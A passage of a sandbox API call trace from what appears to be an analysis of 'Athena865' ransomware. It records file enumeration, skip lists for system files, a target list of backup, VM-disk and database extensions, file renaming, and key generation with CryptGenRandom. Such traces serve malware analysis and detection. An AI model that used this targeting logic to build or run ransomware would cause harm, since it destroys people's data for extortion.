ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc6d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287024.WMF", cAlternateFileName="")) returned 1 [0129.736] lstrcmpiW (lpString1="J0287024.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.736] lstrcmpiW (lpString1="J0287024.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.736] lstrcmpiW (lpString1="J0287024.WMF", lpString2=".") returned 1 [0129.736] lstrcmpiW (lpString1="J0287024.WMF", lpString2="..") returned 1 [0129.736] lstrcmpiW (lpString1="J0287024.WMF", lpString2="windows") returned -1 [0129.736] lstrcmpiW (lpString1="J0287024.WMF", lpString2="bootmgr") returned 1 [0129.736] lstrcmpiW (lpString1="J0287024.WMF", lpString2="temp") returned -1 [0129.736] lstrcmpiW (lpString1="J0287024.WMF", lpString2="pagefile.sys") returned -1 [0129.736] lstrcmpiW (lpString1="J0287024.WMF", lpString2="boot") returned 1 [0129.736] lstrcmpiW (lpString1="J0287024.WMF", lpString2="ids.txt") returned 1 [0129.736] lstrcmpiW (lpString1="J0287024.WMF", lpString2="ntuser.dat") returned -1 [0129.736] lstrcmpiW (lpString1="J0287024.WMF", lpString2="perflogs") returned -1 [0129.736] lstrcmpiW (lpString1="J0287024.WMF", lpString2="MSBuild") returned -1 [0129.736] lstrlenW (lpString="J0287024.WMF") returned 12 [0129.736] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0287024.WMF" | out: lpString1="J0287024.WMF") returned="J0287024.WMF" [0129.736] lstrlenW (lpString="J0287024.WMF") returned 12 [0129.736] lstrlenW (lpString="Athena865") returned 9 [0129.736] lstrcmpiW (lpString1="87024.WMF", lpString2="Athena865") returned -1 [0129.736] lstrlenW (lpString=".dll") returned 4 [0129.737] lstrcmpiW (lpString1="J0287024.WMF", lpString2=".dll") returned 1 [0129.737] lstrlenW (lpString=".lnk") returned 4 [0129.737] lstrcmpiW (lpString1="J0287024.WMF", lpString2=".lnk") returned 1 [0129.737] lstrlenW (lpString=".ini") returned 4 [0129.737] lstrcmpiW (lpString1="J0287024.WMF", lpString2=".ini") returned 1 [0129.737] lstrlenW (lpString=".sys") returned 4 [0129.737] lstrcmpiW (lpString1="J0287024.WMF", lpString2=".sys") returned 1 [0129.737] lstrlenW (lpString="J0287024.WMF") returned 12 [0129.737] lstrlenW (lpString="bak") returned 3 [0129.737] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.737] lstrlenW (lpString="ba_") returned 3 [0129.737] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.737] lstrlenW (lpString="dbb") returned 3 [0129.737] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.737] lstrlenW (lpString="vmdk") returned 4 [0129.737] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.737] lstrlenW (lpString="rar") returned 3 [0129.737] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.737] lstrlenW (lpString="zip") returned 3 [0129.737] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.737] lstrlenW (lpString="tgz") returned 3 [0129.737] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.737] lstrlenW (lpString="vbox") returned 4 [0129.737] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.737] lstrlenW (lpString="vdi") returned 3 [0129.737] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.738] lstrlenW (lpString="vhd") returned 3 [0129.738] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.738] lstrlenW (lpString="vhdx") returned 4 [0129.738] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.738] lstrlenW (lpString="avhd") returned 4 [0129.738] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.738] lstrlenW (lpString="db") returned 2 [0129.738] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.738] lstrlenW (lpString="db2") returned 3 [0129.738] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.738] lstrlenW (lpString="db3") returned 3 [0129.738] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.738] lstrlenW (lpString="dbf") returned 3 [0129.738] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.738] lstrlenW (lpString="mdf") returned 3 [0129.738] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.738] lstrlenW (lpString="mdb") returned 3 [0129.738] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.738] lstrlenW (lpString="sql") returned 3 [0129.738] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.738] lstrlenW (lpString="sqlite") returned 6 [0129.738] lstrcmpiW (lpString1="24.WMF", lpString2="sqlite") returned -1 [0129.738] lstrlenW (lpString="sqlite3") returned 7 [0129.738] lstrcmpiW (lpString1="024.WMF", lpString2="sqlite3") returned -1 [0129.738] lstrlenW (lpString="sqlitedb") returned 8 [0129.738] lstrcmpiW (lpString1="7024.WMF", lpString2="sqlitedb") returned -1 [0129.738] lstrlenW (lpString="xml") returned 3 [0129.739] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.739] lstrlenW (lpString="$er") returned 3 [0129.739] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.739] lstrlenW (lpString="4dd") returned 3 [0129.739] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.739] lstrlenW (lpString="4dl") returned 3 [0129.739] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.739] lstrlenW (lpString="^^^") returned 3 [0129.739] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.739] lstrlenW (lpString="abs") returned 3 [0129.739] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.739] lstrlenW (lpString="abx") returned 3 [0129.739] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.739] lstrlenW (lpString="accdb") returned 5 [0129.739] lstrcmpiW (lpString1="4.WMF", lpString2="accdb") returned -1 [0129.739] lstrlenW (lpString="accdc") returned 5 [0129.739] lstrcmpiW (lpString1="4.WMF", lpString2="accdc") returned -1 [0129.739] lstrlenW (lpString="accde") returned 5 [0129.739] lstrcmpiW (lpString1="4.WMF", lpString2="accde") returned -1 [0129.739] lstrlenW (lpString="accdr") returned 5 [0129.739] lstrcmpiW (lpString1="4.WMF", lpString2="accdr") returned -1 [0129.739] lstrlenW (lpString="accdt") returned 5 [0129.739] lstrcmpiW (lpString1="4.WMF", lpString2="accdt") returned -1 [0129.739] lstrlenW (lpString="accdw") returned 5 [0129.739] lstrcmpiW (lpString1="4.WMF", lpString2="accdw") returned -1 [0129.739] lstrlenW (lpString="accft") returned 5 [0129.739] lstrcmpiW (lpString1="4.WMF", lpString2="accft") returned -1 [0129.740] lstrlenW (lpString="adb") returned 3 [0129.740] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.740] lstrlenW (lpString="adb") returned 3 [0129.740] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.740] lstrlenW (lpString="ade") returned 3 [0129.740] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.740] lstrlenW (lpString="adf") returned 3 [0129.740] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.740] lstrlenW (lpString="adn") returned 3 [0129.740] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.740] lstrlenW (lpString="adp") returned 3 [0129.740] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.740] lstrlenW (lpString="alf") returned 3 [0129.740] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.740] lstrlenW (lpString="ask") returned 3 [0129.740] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.740] lstrlenW (lpString="btr") returned 3 [0129.740] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.740] lstrlenW (lpString="cat") returned 3 [0129.740] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.740] lstrlenW (lpString="cdb") returned 3 [0129.740] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.740] lstrlenW (lpString="ckp") returned 3 [0129.740] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.740] lstrlenW (lpString="cma") returned 3 [0129.740] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.741] lstrlenW (lpString="cpd") returned 3 [0129.741] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.741] lstrlenW (lpString="dacpac") returned 6 [0129.741] lstrcmpiW (lpString1="24.WMF", lpString2="dacpac") returned -1 [0129.741] lstrlenW (lpString="dad") returned 3 [0129.741] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.741] lstrlenW (lpString="dadiagrams") returned 10 [0129.741] lstrcmpiW (lpString1="287024.WMF", lpString2="dadiagrams") returned -1 [0129.741] lstrlenW (lpString="daschema") returned 8 [0129.741] lstrcmpiW (lpString1="7024.WMF", lpString2="daschema") returned -1 [0129.741] lstrlenW (lpString="db-journal") returned 10 [0129.741] lstrcmpiW (lpString1="287024.WMF", lpString2="db-journal") returned -1 [0129.741] lstrlenW (lpString="db-shm") returned 6 [0129.741] lstrcmpiW (lpString1="24.WMF", lpString2="db-shm") returned -1 [0129.741] lstrlenW (lpString="db-wal") returned 6 [0129.741] lstrcmpiW (lpString1="24.WMF", lpString2="db-wal") returned -1 [0129.741] lstrlenW (lpString="dbc") returned 3 [0129.741] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.741] lstrlenW (lpString="dbs") returned 3 [0129.741] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.741] lstrlenW (lpString="dbt") returned 3 [0129.741] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.741] lstrlenW (lpString="dbv") returned 3 [0129.741] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.741] lstrlenW (lpString="dbx") returned 3 [0129.741] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.742] lstrlenW (lpString="dcb") returned 3 [0129.742] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.742] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.742] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.Athena865") returned 73 [0129.742] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf.athena865"), dwFlags=0x1) returned 1 [0129.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287024.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287024.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.744] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=50898) returned 1 [0129.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.744] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.744] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.745] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.745] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.745] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc9e0, lpName=0x0) returned 0x154 [0129.747] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc9e0) returned 0x100000 [0129.753] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.753] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.753] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.753] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.754] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.754] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.755] CloseHandle (hObject=0x154) returned 1 [0129.755] CloseHandle (hObject=0x17c) returned 1 [0129.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.755] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.755] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287408.WMF", cAlternateFileName="")) returned 1 [0129.755] lstrcmpiW (lpString1="J0287408.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.755] lstrcmpiW (lpString1="J0287408.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.755] lstrcmpiW (lpString1="J0287408.WMF", lpString2=".") returned 1 [0129.755] lstrcmpiW (lpString1="J0287408.WMF", lpString2="..") returned 1 [0129.755] lstrcmpiW (lpString1="J0287408.WMF", lpString2="windows") returned -1 [0129.756] lstrcmpiW (lpString1="J0287408.WMF", lpString2="bootmgr") returned 1 [0129.756] lstrcmpiW (lpString1="J0287408.WMF", lpString2="temp") returned -1 [0129.756] lstrcmpiW (lpString1="J0287408.WMF", lpString2="pagefile.sys") returned -1 [0129.756] lstrcmpiW (lpString1="J0287408.WMF", lpString2="boot") returned 1 [0129.756] lstrcmpiW (lpString1="J0287408.WMF", lpString2="ids.txt") returned 1 [0129.756] lstrcmpiW (lpString1="J0287408.WMF", lpString2="ntuser.dat") returned -1 [0129.756] lstrcmpiW (lpString1="J0287408.WMF", lpString2="perflogs") returned -1 [0129.756] lstrcmpiW (lpString1="J0287408.WMF", lpString2="MSBuild") returned -1 [0129.756] lstrlenW (lpString="J0287408.WMF") returned 12 [0129.756] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0287408.WMF" | out: lpString1="J0287408.WMF") returned="J0287408.WMF" [0129.756] lstrlenW (lpString="J0287408.WMF") returned 12 [0129.756] lstrlenW (lpString="Athena865") returned 9 [0129.756] lstrcmpiW (lpString1="87408.WMF", lpString2="Athena865") returned -1 [0129.756] lstrlenW (lpString=".dll") returned 4 [0129.756] lstrcmpiW (lpString1="J0287408.WMF", lpString2=".dll") returned 1 [0129.756] lstrlenW (lpString=".lnk") returned 4 [0129.756] lstrcmpiW (lpString1="J0287408.WMF", lpString2=".lnk") returned 1 [0129.756] lstrlenW (lpString=".ini") returned 4 [0129.756] lstrcmpiW (lpString1="J0287408.WMF", lpString2=".ini") returned 1 [0129.756] lstrlenW (lpString=".sys") returned 4 [0129.756] lstrcmpiW (lpString1="J0287408.WMF", lpString2=".sys") returned 1 [0129.756] lstrlenW (lpString="J0287408.WMF") returned 12 [0129.756] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.Athena865") returned 73 [0129.757] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf.athena865"), dwFlags=0x1) returned 1 [0129.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287408.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287408.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.758] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=52496) returned 1 [0129.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.758] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.759] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.759] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.759] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.759] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd010, lpName=0x0) returned 0x154 [0129.761] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd010) returned 0x100000 [0129.772] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.776] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.776] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.777] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.779] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.779] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.780] CloseHandle (hObject=0x154) returned 1 [0129.780] CloseHandle (hObject=0x17c) returned 1 [0129.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.780] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa80c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0287415.WMF", cAlternateFileName="")) returned 1 [0129.780] lstrcmpiW (lpString1="J0287415.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.780] lstrcmpiW (lpString1="J0287415.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.780] lstrcmpiW (lpString1="J0287415.WMF", lpString2=".") returned 1 [0129.780] lstrcmpiW (lpString1="J0287415.WMF", lpString2="..") returned 1 [0129.780] lstrcmpiW (lpString1="J0287415.WMF", lpString2="windows") returned -1 [0129.780] lstrcmpiW (lpString1="J0287415.WMF", lpString2="bootmgr") returned 1 [0129.781] lstrcmpiW (lpString1="J0287415.WMF", lpString2="temp") returned -1 [0129.781] lstrcmpiW (lpString1="J0287415.WMF", lpString2="pagefile.sys") returned -1 [0129.781] lstrcmpiW (lpString1="J0287415.WMF", lpString2="boot") returned 1 [0129.781] lstrcmpiW (lpString1="J0287415.WMF", lpString2="ids.txt") returned 1 [0129.781] lstrcmpiW (lpString1="J0287415.WMF", lpString2="ntuser.dat") returned -1 [0129.781] lstrcmpiW (lpString1="J0287415.WMF", lpString2="perflogs") returned -1 [0129.781] lstrcmpiW (lpString1="J0287415.WMF", lpString2="MSBuild") returned -1 [0129.781] lstrlenW (lpString="J0287415.WMF") returned 12 [0129.781] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0287415.WMF" | out: lpString1="J0287415.WMF") returned="J0287415.WMF" [0129.781] lstrlenW (lpString="J0287415.WMF") returned 12 [0129.781] lstrlenW (lpString="Athena865") returned 9 [0129.781] lstrcmpiW (lpString1="87415.WMF", lpString2="Athena865") returned -1 [0129.781] lstrlenW (lpString=".dll") returned 4 [0129.781] lstrcmpiW (lpString1="J0287415.WMF", lpString2=".dll") returned 1 [0129.781] lstrlenW (lpString=".lnk") returned 4 [0129.781] lstrcmpiW (lpString1="J0287415.WMF", lpString2=".lnk") returned 1 [0129.781] lstrlenW (lpString=".ini") returned 4 [0129.781] lstrcmpiW (lpString1="J0287415.WMF", lpString2=".ini") returned 1 [0129.781] lstrlenW (lpString=".sys") returned 4 [0129.781] lstrcmpiW (lpString1="J0287415.WMF", lpString2=".sys") returned 1 [0129.781] lstrlenW (lpString="J0287415.WMF") returned 12 [0129.781] lstrlenW (lpString="bak") returned 3 [0129.781] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.781] lstrlenW (lpString="ba_") returned 3 [0129.781] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.781] lstrlenW (lpString="dbb") returned 3 [0129.782] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.782] lstrlenW (lpString="vmdk") returned 4 [0129.782] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.782] lstrlenW (lpString="rar") returned 3 [0129.782] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.782] lstrlenW (lpString="zip") returned 3 [0129.782] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.782] lstrlenW (lpString="tgz") returned 3 [0129.782] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.782] lstrlenW (lpString="vbox") returned 4 [0129.782] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.782] lstrlenW (lpString="vdi") returned 3 [0129.782] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.782] lstrlenW (lpString="vhd") returned 3 [0129.782] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.782] lstrlenW (lpString="vhdx") returned 4 [0129.782] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.782] lstrlenW (lpString="avhd") returned 4 [0129.782] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.782] lstrlenW (lpString="db") returned 2 [0129.782] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.782] lstrlenW (lpString="db2") returned 3 [0129.782] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.782] lstrlenW (lpString="db3") returned 3 [0129.782] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.782] lstrlenW (lpString="dbf") returned 3 [0129.782] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.783] lstrlenW (lpString="mdf") returned 3 [0129.783] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.783] lstrlenW (lpString="mdb") returned 3 [0129.783] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.783] lstrlenW (lpString="sql") returned 3 [0129.783] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.783] lstrlenW (lpString="sqlite") returned 6 [0129.783] lstrcmpiW (lpString1="15.WMF", lpString2="sqlite") returned -1 [0129.783] lstrlenW (lpString="sqlite3") returned 7 [0129.783] lstrcmpiW (lpString1="415.WMF", lpString2="sqlite3") returned -1 [0129.783] lstrlenW (lpString="sqlitedb") returned 8 [0129.783] lstrcmpiW (lpString1="7415.WMF", lpString2="sqlitedb") returned -1 [0129.783] lstrlenW (lpString="xml") returned 3 [0129.783] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.783] lstrlenW (lpString="$er") returned 3 [0129.783] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.783] lstrlenW (lpString="4dd") returned 3 [0129.783] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.783] lstrlenW (lpString="4dl") returned 3 [0129.783] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.783] lstrlenW (lpString="^^^") returned 3 [0129.783] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.783] lstrlenW (lpString="abs") returned 3 [0129.783] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.783] lstrlenW (lpString="abx") returned 3 [0129.783] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.783] lstrlenW (lpString="accdb") returned 5 [0129.784] lstrcmpiW (lpString1="5.WMF", lpString2="accdb") returned -1 [0129.784] lstrlenW (lpString="accdc") returned 5 [0129.784] lstrcmpiW (lpString1="5.WMF", lpString2="accdc") returned -1 [0129.784] lstrlenW (lpString="accde") returned 5 [0129.784] lstrcmpiW (lpString1="5.WMF", lpString2="accde") returned -1 [0129.784] lstrlenW (lpString="accdr") returned 5 [0129.784] lstrcmpiW (lpString1="5.WMF", 